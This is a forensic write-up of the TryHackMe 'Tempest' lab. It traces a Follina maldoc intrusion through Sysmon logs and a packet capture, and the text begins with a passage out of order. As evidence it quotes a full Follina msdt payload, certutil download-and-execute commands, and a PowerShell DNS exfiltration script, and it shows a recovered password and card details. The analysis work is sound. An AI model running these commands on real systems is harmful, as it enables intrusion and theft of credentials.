ls AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe;pwd
ls AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState;pwd
iwr http://files.bpakcaging.xyz/sq3.exe -outfile sq3.exe;pwd
.\\sq3.exe AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\;pwd
.\\Music\\sq3.exe AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite "SELECT * from NOTE limit 100";pwd
```

Exfiltrate via DNS the contents of `protected_data.kdbx` through `nslookup` to `167.71.211.113` as a subdomain of `bpakcaging.xyz`.

```powershell
$file='protected_data.kdbx'; $destination = "167.71.211.113"; $bytes = [System.IO.File]::ReadAllBytes($file);;pwd
split-path $pwd'\\0x00';pwd
$file='C:\\Users\\j.westcott\\Documents\\protected_data.kdbx'; $destination = "167.71.211.113"; $bytes = [System.IO.File]::ReadAllBytes($file);;pwd
$hex = ($bytes|ForEach-Object ToString X2) -join '';;pwd
$split = $hex -split '(\\S{50})'; ForEach ($line in $split) { nslookup -q=A "$line.bpakcaging.xyz" $destination;} echo "Done";;pwd
```

Which when cleaned up a bit:

```powershell
$file='protected_data.kdbx'; 
$destination = "167.71.211.113"; 
$bytes = [System.IO.File]::ReadAllBytes($file);
split-path $pwd'\\0x00';
$file='C:\\Users\\j.westcott\\Documents\\protected_data.kdbx'; 
$destination = "167.71.211.113"; 
$bytes = [System.IO.File]::ReadAllBytes($file);
$hex = ($bytes|ForEach-Object ToString X2) -join '';
$split = $hex -split '(\\S{50})'; 
ForEach ($line in $split) { 
    nslookup -q=A "$line.bpakcaging.xyz" $destination;
} 
echo "Done";
```

### III. Network Analysis

> Based on the PowerShell logs investigation, we have seen the full impact of the attack:
>
> * The threat actor was able to read and exfiltrate two potentially sensitive files.
> * The domains and ports used for the network activity were discovered, including the tool used by the threat actor for exfiltration.

#### 1. HTTP Traffic

Looking at the servers associated with the domain, `bpakcaging.xyz`:

```bash
$ tshark -r capture.pcapng -Y 'http.response_for.uri contains "bpakcaging.xyz" and http' -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.(server)")) then ({key: "server", value: .value}) else empty end) | .server' | sort | uniq -c | sort -nr

    929 Apache/2.4.1 
      3 SimpleHTTP/0.6 Python/3.10.7
      
```

an Apache and Python one were identified. The latter, given the count, could be associated with the file server where the executables found during the log analysis were downloaded from:

```bash
$ tshark -r capture.pcapng -Y 'http.server contains "Python" and http' -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.(res.*uri)")) then ({key: "uri", value: .value}) else empty end) | .uri' 

  http://files.bpakcaging.xyz/update
  http://files.bpakcaging.xyz/sb.exe
  http://files.bpakcaging.xyz/sq3.exe
```

All requests to the Apache server could be traced to `http://cdn.bpakcaging.xyz:8080`:

```bash
$ tshark -r capture.pcapng -Y 'http.server contains "Apache" and http' -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.(res.*uri)")) then ({key: "uri", value: .value}) else empty end) | .uri' | sort | uniq -c | sort -nr

    886 http://cdn.bpakcaging.xyz:8080/b86459bb
     42 http://cdn.bpakcaging.xyz:8080/27fe2489
      1 http://cdn.bpakcaging.xyz:8080/8cce49b0
```

To add, all requests made to `/27fe2489` were found to be POST:

```bash
$ tshark -r capture.pcapng -Y 'http.request.full_uri contains "/27fe2489" and http' -T json | jq -r '.[]."_source".layers.http' | grep request.method | sed -E 's/.*".*": "(.*)",/\1/g' | sort | uniq -c | sort -nr

     42 POST
```

#### 2. Command Executions

Looking at the POST data of a sample packet, it contains what seems to be decimal values:

```bash
$ tshark -r capture.pcapng -Y 'http.request.full_uri contains "/27fe2489" and http' -T json| jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.file_data")) then ({key: "data", value: .value}) else empty end) | .data' | head -n1

  13 13 10 13 10 80 97 116 104 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 13 10 45 45 45 45 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 13 10 67 58 92 87 105 110 100 111 119 115 92 115 121 115 116 101 109 51 50 13 10 13 10 13 10
```

Now, converting the data of all POST requests from decimal to ASCII:

```bash
$ tshark -r capture.pcapng -Y 'http.request.full_uri contains "/27fe2489" and http' -T json| jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.file_data")) then ({key: "data", value: .value}) else empty end) | .data' > c2.data

$ for i in $(cat c2.data); do for x in $i; do hex=$(printf '%x' $x); echo -ne "\x$hex"; done; done
```

It shows that a KeePass database was indeed found from the workstation:

```powershell
    Directory: C:\Users\j.westcott\Documents


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        1/13/2023   4:38 PM           2206 protected_data.kdbx
```

As well as its master password stored in Microsoft Sticky Notes:

```powershell
    Directory: C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        1/13/2023   4:38 PM                DiagOutputDir                                                         
-a----        1/13/2023   4:30 PM           1014 Ecs.dat                                                               
-a----        1/13/2023   4:30 PM           4096 plum.sqlite                                                           
-a----        1/13/2023   4:38 PM          32768 plum.sqlite-shm                                                       
-a----        1/13/2023   5:08 PM         168952 plum.sqlite-wal
```

Where the password is -- `%p9^3!lL^Mz47E2GaT^y`:

```powershell
\id=868150bd-a564-423b-9256-70d3781794b1 Master Password
\id=ad8b52f0-e1bb-40f6-bbf9-47a53f9180ab %p9^3!lL^Mz47E2GaT^y|ManagedPosition=DeviceId:\\?\DISPLAY#Default_Monitor#1&31c5ecd4&0&UID256#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7};Position=1106,43;Size=320,320|1|0||Yellow|0||||||0||8ca22c0e-ba5e-499a-a86c-7473a53dc6de|74f08724-ccc9-4ce6-94e7-8c99e6cd42c6|638092247397199589||638092247516107079
```

#### 3. DNS Exfiltration

Based on the decoded POST data, the attempt for exfiltration was indeed as a subdomain of `bpakcaging.xyz`:

```powershell
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 03D9A29A67FB4BB50100030002100031C1F2E6BF714350BE58.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 05216AFC5AFF03040001000000042000AF4DE7A467FADFBFEB.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for EB78AE194B03926333E0CC968727A1FF8CC4CD5151FAAC0520.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 00516334C81F95A871AE6F5C6BB97075B74C6016ADAD4C35B3.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for A327BFF48B837B4806080060EA0000000000000710000F22FE.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 38943F8ED485C92DA84BCCE2E2082000C47157BAF0E6A7EF35.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for A00731B6CE6192813F7AC951F0C6460D89A27D91DE15C50920.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 007187B84DD4E121AED3668F75F3761E8AAC3169F81025A5AE.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for 30D657448F4401890A0400020000000004000D0A0D0A3865AE.bpakcaging.xyz 
*** UnKnown can't find .bpakcaging.xyz: Unspecified error 
*** No address (A) records available for FAA72AA7E2FC9869F30F566E4F58A19582BDA4C0988D8E9F6C.bpakcaging.xyz
[..omitted..]
```

Looking at the packet capture, the chunked exfiltrated could also be seen:

```bash
$ tshark -r capture.pcapng -Y "dns" -T fields -e dns.qry.name | grep -E '[A-F0-9]+.bpakcaging.xyz$' | head -n 10                                                

  03D9A29A67FB4BB50100030002100031C1F2E6BF714350BE58.bpakcaging.xyz
  03D9A29A67FB4BB50100030002100031C1F2E6BF714350BE58.bpakcaging.xyz
  05216AFC5AFF03040001000000042000AF4DE7A467FADFBFEB.bpakcaging.xyz
  05216AFC5AFF03040001000000042000AF4DE7A467FADFBFEB.bpakcaging.xyz
  EB78AE194B03926333E0CC968727A1FF8CC4CD5151FAAC0520.bpakcaging.xyz
  EB78AE194B03926333E0CC968727A1FF8CC4CD5151FAAC0520.bpakcaging.xyz
  00516334C81F95A871AE6F5C6BB97075B74C6016ADAD4C35B3.bpakcaging.xyz
  00516334C81F95A871AE6F5C6BB97075B74C6016ADAD4C35B3.bpakcaging.xyz
  A327BFF48B837B4806080060EA0000000000000710000F22FE.bpakcaging.xyz
  A327BFF48B837B4806080060EA0000000000000710000F22FE.bpakcaging.xyz
```

Cleaning the chunked data and putting it together retrieves the KeePass database file:

```bash
$ tshark -r capture.pcapng -Y "ip.dst==167.71.211.113 and dns" -T fields -e dns.qry.name | grep -E '[A-F0-9]+.bpakcaging.xyz$' | cut -d'.' -f1 | tr -d '\n' | xxd -p -r > protected_data.kdbx
                                                                                                                                                                                                                                            
$ file protected_data.kdbx 

  protected_data.kdbx: Keepass password database 2.x KDBX
```

Finally, opening the KeePass database using the password, `%p9^3!lL^Mz47E2GaT^y`, reveals information of a company card with an account number, `4024007128269551`:

```bash
$ kpcli --kdb=protected_data.kdbx 
Provide the master password: *************************

kpcli:/> dir

  === Groups ===
  protected_data/

kpcli:/> cd protected_data

kpcli:/protected_data> dir

  === Groups ===
  eMail/
  General/
  Homebanking/
  Internet/
  Network/
  Recycle Bin/
  Windows/

kpcli:/protected_data> cd Homebanking

kpcli:/protected_data/Homebanking> dir

  === Entries ===
  0. Company Card                                                           

kpcli:/protected_data/Homebanking> show 0

  Title: Company Card
  Uname: 
   Pass: 
    URL: 
  Notes: 
  String Values: 
           1) Account Number = 4024007128269551
           2) CVV = 970
           3) Expiration Date = 3/2028
           4) Name = Quick Logistics LLC
```


# Tempest

You are tasked to conduct an investigation from a workstation affected by a full attack chain.

## CONTEXT

### I. Background

> In this incident, you will act as an Incident Responder from an alert triaged by one of your Security Operations Center analysts. The analyst has confirmed that the alert has a **CRITICAL** severity that needs further investigation.

Challenge Link: [TryHackMe - Tempest](https://tryhackme.com/room/tempestincident)

### II. Tools and Artifacts

#### Conversion of Log Files

Conversion of EVTX files to JSON using [EvtxECmd](https://f001.backblazeb2.com/file/EricZimmermanTools/net6/EvtxECmd.zip):

```powershell
PS> .\EvtxECmd\EvtxECmd.exe -f sysmon.evtx --json .\ --jsonf sysmon.json

  Metrics (including dropped events)
  Event ID        Count
  1               238
  2               2
  3               92 
  5               3
  8               3
  11              1,024
  12              186
  13              869
  15              6
  22              136

PS> .\EvtxECmd\EvtxECmd.exe -f windows.evtx --json .\ --jsonf windows.json

  Metrics (including dropped events)
  Event ID        Count
  1102            1
  4624            43
  4625            4
  4648            9
  4720            2
  4722            2
  4724            3
  4728            2
  4732            3
  4738            3
  4797            34
  4798            27
  4799            12
  5379            51
  5382            2
```

#### Protocol Heirarchy (pcap)

```shell
$ tshark -r capture.pcapng | sed -e 's/^[ ]*\w*\s*//g' | sed -E 's/\s{2,}/ /g' | cut -d' ' -f5 | sort | uniq -c | sort -bnr
  
  16305 TCP
   1883 TLSv1.2
   1709 HTTP
    734 WebSocket
    548 TLSv1.3
     21 TLSv1
     13 HTTP/XML
      6 SSL
```

## ANALYSIS

### I. Initial Access

#### MALICIOUS DOCUMENT

> As reported by the SOC analyst, the intrusion started from a malicious document. In addition, the analyst compiled the essential information generated by the alert as listed below:<br>
>
> * The malicious document has a **.doc** extension.
> * The user downloaded the malicious document via **chrome.exe**.
> * The malicious document then executed a chain of commands to attain code execution.

A maldoc was found to be downloaded into the workstation via browser. This was confirmed via logs pertaining to file creation (Sysmon Event ID 11) with its source coming from `chrome.exe`.

```bash
$ cat sysmon.json | grep EventId..11 | grep chrome.exe | grep ".doc" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | .[0]*.[1]*.[2]'

  {
    "Image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
    "TargetFilename": "C:\\Users\\benimaru\\Downloads\\free_magicules.doc:Zone.Identifier",
    "CreationUtcTime": "2022-06-20 17:12:56.193"
  }
```

The file was downloaded from `phishteam.xyz` (167.71.199.191):

<pre class="language-bash"><code class="lang-bash">$ tshark -r capture.pcapng -Y "http" | grep free_magicules.doc

  1367  89.506977 192.168.254.107 → 167.71.199.191 HTTP 595 GET /02dcf07/free_magicules.doc HTTP/1.1
  
$ tshark -r capture.pcapng -Y 'frame matches "free_magicules.doc"' -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.*")) then ({key: .key, value: .value}) else empty end)'

  {
    "http.host": "phishteam.xyz",
    "http.request.line": "If-Modified-Since: Mon, 20 Jun 2022 16:01:32 GMT\r\n",
    "http.connection": "keep-alive",
    "http.user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
    "http.accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "http.accept_encoding": "gzip, deflate",
    "http.accept_language": "en-US,en;q=0.9",
    "http.request.full_uri": "http://phishteam.xyz/02dcf07/free_magicules.doc",
    "http.request": "1",
<strong>    "http.request_number": "1"
</strong>  }
</code></pre>

The file, `free_magicules.doc`, was then opened via Microsoft Word (`WINWORD.EXE`):

```bash
$ cat sysmon.json | grep EventId..1, | grep free_magicules | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^CommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'

  {
    "UtcTime": "2022-06-20 17:13:12.410",
    "ProcessId": "496",
    "Image": "C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
    "CommandLine": "\"C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\benimaru\\Downloads\\free_magicules.doc\" /o \"\"",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=09B09DC651D921FE022B16C234E64A12,SHA256=E25F32401FD3D25958B8B99F280F0325B232E54F185CC5D6E0710923005AC64A,IMPHASH=744185317F5DAAFAEB367DDD2932CC02",
    "ParentProcessId": "6596"
  }
```

Spawning from the Microsoft Word process was an execution of `msdt.exe` which is highly  indicative of the **Follina 0-day exploit (CVE-2022-30190)**.

<pre class="language-bash"><code class="lang-bash">$ cat sysmon.json | grep EventId..1, | grep -i "id..496" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^CommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'
<strong>
</strong><strong>  {
</strong>    "UtcTime": "2022-06-20 17:13:35.180",
    "ProcessId": "4868",
    "Image": "C:\\Windows\\SysWOW64\\msdt.exe",
    "CommandLine": "C:\\Windows\\SysWOW64\\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=4EBC38519675FB0BA6915D0D8A7FCD01,SHA256=1BE8AFD2962596807611E6A8836952D6BBDC24BDE52A34905006FF78F1AD5D12,IMPHASH=AF42CCE29BF30BC07C0496AF0420FD91",
    "ParentProcessId": "496"
  }
</code></pre>

Exploring the `CommandLine` parameter for the possible Follina Exploit, the payload contains a base64 encoded bit:

{% code overflow="wrap" %}

```powershell
C:\Windows\SysWOW64\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
```

{% endcode %}

Which when decoded, becomes the following (beautified):

{% code lineNumbers="true" %}

```powershell
$app=[Environment]::GetFolderPath('ApplicationData');
cd "$app\Microsoft\Windows\Start Menu\Programs\Startup"; 
iwr http://phishteam.xyz/02dcf07/update.zip -outfile update.zip; 
Expand-Archive .\update.zip -DestinationPath .; 
rm update.zip;
```

{% endcode %}

The decoded payload downloads and adds a file, `update.zip`, to the `Startup` folder which is then extracted to the same directory. The execution being done in PowerShell as well as having `sdiagnhost.exe` writing the file to the `Startup` folder confirms the abuse of the **Follina** exploit.

```bash
$ cat sysmon.json | grep EventId..11 | grep update.zip | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'   

  {
    "Image": "C:\\Windows\\SysWOW64\\sdiagnhost.exe",
    "TargetFilename": "C:\\Users\\benimaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.zip",
    "CreationUtcTime": "2022-06-20 17:13:37.822"
  }
```

#### STAGE 2 EXECUTION

> Based on the initial findings, we discovered that there is a stage 2 execution:
>
> * The document has successfully executed an encoded base64 command.
> * Decoding this string reveals the exact command chain executed by the malicious document.

As the file, `update.zip`, was written in the `Startup` folder, login activities of the compromised user (`benimaru`) were monitored and processes spawned by `winlogon.exe` were traced.

```bash
$ cat sysmon.json | grep EventId..1, | grep -i "winlogon.exe" | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'

  {
    "UtcTime": "2022-06-20 17:12:24.262",
    "ProcessId": "5968",
    "Image": "C:\\Windows\\System32\\userinit.exe",
    "CommandLine": "C:\\Windows\\system32\\userinit.exe",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=BF8825D08BC235F0609CA8BBEF4E179C,SHA256=1FE7F7C59EC7EAA276739FA85F7DDA6136D81184E0AEB385B6AC9FEAAA8C4394,IMPHASH=8419D97ABDFEB6C320F0C39028647572",
    "ParentProcessId": "5612",
    "ParentCommandLine": "winlogon.exe"
  }
  {
    "UtcTime": "2022-06-20 17:14:50.535",
    "ProcessId": "3408",
    "Image": "C:\\Windows\\System32\\userinit.exe",
    "CommandLine": "C:\\Windows\\system32\\userinit.exe",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=BF8825D08BC235F0609CA8BBEF4E179C,SHA256=1FE7F7C59EC7EAA276739FA85F7DDA6136D81184E0AEB385B6AC9FEAAA8C4394,IMPHASH=8419D97ABDFEB6C320F0C39028647572",
    "ParentProcessId": "1396",
    "ParentCommandLine": "winlogon.exe"
  }
```

Upon tracing the logs, a PowerShell execution was spawned which leads to the download of a stage 2 payload (`first.exe`).

```bash
$ cat sysmon.json | grep EventId..1, | grep -i "parent.*id..3408" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'

  {
    "UtcTime": "2022-06-20 17:14:50.606",
    "ProcessId": "5784",
    "Image": "C:\\Windows\\explorer.exe",
    "CommandLine": "C:\\Windows\\Explorer.EXE",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=2F62005FCEA7430BB871A56F7700F81C,SHA256=B759293373A11D1A972873A902BC64B2C9690AB947CE4A185CD047195521296D,IMPHASH=0B98A47B3DAF2EE45939EF2A0F188959",
    "ParentProcessId": "3408",
    "ParentCommandLine": "C:\\Windows\\system32\\userinit.exe"
  }
  
$ cat sysmon.json | grep EventId..1, | grep -i "parent.*id..5784" | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add'

  [..omitted..]
  {
    "UtcTime": "2022-06-20 17:15:10.547",
    "ProcessId": "9052",
    "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\\Users\\Public\\Downloads\\first.exe; C:\\Users\\Public\\Downloads\\first.exe",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
    "ParentProcessId": "5784",
    "ParentCommandLine": "C:\\Windows\\Explorer.EXE"
  }
```

Looking at the command executed, the payload was downloaded to the Public Downloads folder.

{% code overflow="wrap" %}

```powershell
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe
```

{% endcode %}

The logs shown below proves the successful download and execution of `first.exe`:

```bash
$ cat sysmon.json | grep EventId..11 | grep first.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^TargetFilename|^CreationUtcTime|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) |
 add'
  
  {
    "UtcTime": "2022-06-20 17:15:14.096",
    "Image": "C:\\Windows\\system32\\certutil.exe",
    "TargetFilename": "C:\\Users\\Public\\Downloads\\first.exe",
    "CreationUtcTime": "2022-06-20 14:29:54.049"
  }
  
$ cat sysmon.json | grep EventId..1, | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add | select(.Image | test(".*first.exe"))'

  {
    "UtcTime": "2022-06-20 17:15:14.129",
    "ProcessId": "8948",
    "Image": "C:\\Users\\Public\\Downloads\\first.exe",
    "CommandLine": "\"C:\\Users\\Public\\Downloads\\first.exe\"",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=C9AA36F483B61CFA9758C44ACDB776AC,SHA256=CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8,IMPHASH=468991D410EEFBCFB478FB910DDA2CE2",
    "ParentProcessId": "9052",
    "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\\Users\\Public\\Downloads\\first.exe; C:\\Users\\Public\\Downloads\\first.exe"
  }
```

Network logs included in Sysmon shows that the execution of `first.exe` creates a callback to `resolvecyber.xyz` (167.71.222.162) at port 80:

```bash
$ cat sysmon.json | grep EventId..3, | grep first.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^U|^Source(Ip|Port)|^Destination(Ip|Port)"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add' | grep -E "Destination" | sort | uniq
  
  "DestinationIp": "167.71.222.162",
  "DestinationPort": "80",
  "DestinationPortName": "http"
  
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.host")) then ({key: .key, value: .value}) else empty end)' | grep http.host | uniq
  
  "http.host": "resolvecyber.xyz"
  "http.host": "resolvecyber.xyz:8080"
```

#### MALICIOUS DOCUMENT TRAFFIC

> Based on the collected findings, we discovered that the attacker fetched the stage 2 payload remotely:
>
> * We discovered the Domain and IP invoked by the malicious document on Sysmon logs.
> * There is another domain and IP used by the stage 2 payload logged from the same data source.

Network traffic related to the execution of `first.exe` shows requests to the URI path `/9ab62b5`:

```bash
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" | head -n 1
 
   5159 227.738875 192.168.254.107 → 167.71.222.162 HTTP 161 GET /9ab62b5 HTTP/1.1
   
$ tshark -r capture.pcapng -Y "frame.number==5159" -T json | jq -r '.[]."_source".layers.http | with_entries(if (.key|test("http.*")) then ({key: .key, value: .value}) else empty end)'

  {
    "http.host": "resolvecyber.xyz",
    "http.request.line": "user-agent: Nim httpclient/1.6.6\r\n",
    "http.connection": "Keep-Alive",
    "http.user_agent": "Nim httpclient/1.6.6",
    "http.request.full_uri": "http://resolvecyber.xyz/9ab62b5",
    "http.request": "1",
    "http.request_number": "1"
  }
```

Requests with the GET parameter, `?q=`, are also seen with base64 encoded payloads.

```bash
$ tshark -r capture.pcapng -Y "ip.dst==167.71.222.162 and http" -T fields -e http.request.uri

  /9ab62b5
  /9ab62b5?q=d2hvYW1pIC0gdGVtcGVzdFxiZW5pbWFydQ0K
  /9ab62b5
  /9ab62b5?q=cHdkIC0gDQpQYXRoICAgICAgICAgICAgICAgDQotLS0tICAgICAgICAgICAgICAgDQpDOlxXaW5kb3dzXHN5c3RlbTMyDQoNCg0K
  /9ab62b5
  [..omitted..]
```

### II. Discovery

> Based on the collected findings, we have discovered that the malicious binary continuously uses the C2 traffic:<br>
>
> * We can easily decode the encoded string in the network traffic.
> * The traffic contains the command and output executed by the attacker.

HTTP requests with base64 encoded payloads were parsed and decoded using the following command:

```bash
$ for i in $(tshark -r capture.pcapng -Y '(ip.dst==167.71.222.162 and tcp.port eq 80) and frame contains "?q="' -T fields -e http.request.uri | cut -d'=' -f2); do
> echo $i | base64 -d;
> done
```

The threat actor was then seen to have achieved Remote Code Execution (RCE) with a non-interactive webshell. Initial enumeration included their current user context, existing user directories, as well as local users and administrators:

<pre class="language-powershell"><code class="lang-powershell"><strong>> whoami 
</strong><strong>
</strong><strong>  tempest\benimaru
</strong><strong>  
</strong>> pwd

  Path
  ----
  C:\Windows\system32

> dir C:\Users 

      Directory: C:\Users


<strong>  Mode                LastWriteTime         Length Name
</strong>  ----                -------------         ------ ----
  d-----        6/20/2022   9:06 PM                benimaru
  d-r---        6/20/2022   4:03 PM                Public
  d-----        6/20/2022  11:52 PM                rimuru

> net users 

  User accounts for \\TEMPEST

  -------------------------------------------------------------------------------
  Administrator            benimaru                 DefaultAccount
  Guest                    rimuru                   WDAGUtilityAccount
  The command completed successfully.


> net localgroup administrators - 

  Alias name     administrators
  Comment        Administrators have complete and unrestricted access to the computer/domain

  Members

  -------------------------------------------------------------------------------
  Administrator
  rimuru
  The command completed successfully.

> net user benimaru

  User name                    benimaru
  Full Name
  Comment
  User's comment
  Country/region code          000 (System Default)
  Account active               Yes
  Account expires              Never

  Password last set            6/20/2022 9:18:04 PM
  Password expires             Never
  Password changeable          6/20/2022 9:18:04 PM
  Password required            No
  User may change password     Yes

  Workstations allowed         All
  Logon script
  User profile
  Home directory
  Last logon                   6/21/2022 1:14:49 AM

  Logon hours allowed          All

  Local Group Memberships      *Remote Management Use*Users
  Global Group memberships     *None
  The command completed successfully.
</code></pre>

Next, they began exploring the current user context's home directory:

<pre class="language-powershell"><code class="lang-powershell">> dir C:\Users\benimaru -

        Directory: C:\Users\benimaru


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  d-r---        6/20/2022   4:13 PM                3D Objects
  d-r---        6/20/2022   4:13 PM                Contacts
  d-r---        6/21/2022  12:27 AM                Desktop
  d-r---        6/20/2022   9:20 PM                Documents
  d-r---        6/21/2022   1:13 AM                Downloads
  d-r---        6/20/2022   4:13 PM                Favorites
  d-r---        6/20/2022   4:13 PM                Links
  d-r---        6/20/2022   4:13 PM                Music
